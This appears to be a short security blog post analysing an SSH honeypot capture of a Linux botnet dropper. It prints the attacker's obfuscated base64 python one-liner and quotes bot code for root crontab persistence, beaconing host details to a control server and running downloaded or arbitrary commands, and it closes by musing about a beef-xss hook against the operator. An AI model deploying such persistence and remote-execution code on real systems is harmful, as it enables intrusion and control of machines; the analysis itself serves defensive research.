Linux Botnet

another nice ssh honeypot-catch:

uname nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CndoaWxlIFRydWU6CiAgICB0cnk6CiAgIC
dlKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgIHRpbWUuc2xlZXAoMzAwKQ=='))" > /dev/null 2 >& 1 &

That downloads a base64-encoded complete python-program fromĀ

In that program a crontab-entry is made

   if runCodePath not in crontabData:
                f = open("/etc/crontab", "a+")
                f.write("\n0 */6 * * * root %s\n" % runCodePath)

then it loads data about the hacked server to the herder:

   my_data = {"key":d.get_key, "name":d.get_name, "os":d.get_platform, "core":d.get_core, "cpu":d.get_cpucount, "cpuuse":d.get_cpuuse, "status":d.get_status}
            f = urllib.urlopen(apiURL, urllib.urlencode(my_data))

and waits for commands:


  if data.has_key("download") and data["download"]:
                    DownExec(data["download"], task_id)
       if data.has_key("cmd") and data["cmd"]:
                    CmdExec(data["cmd"], task_id)

Wonder what would happen if the computer name would be a beef-xss hook or something..?
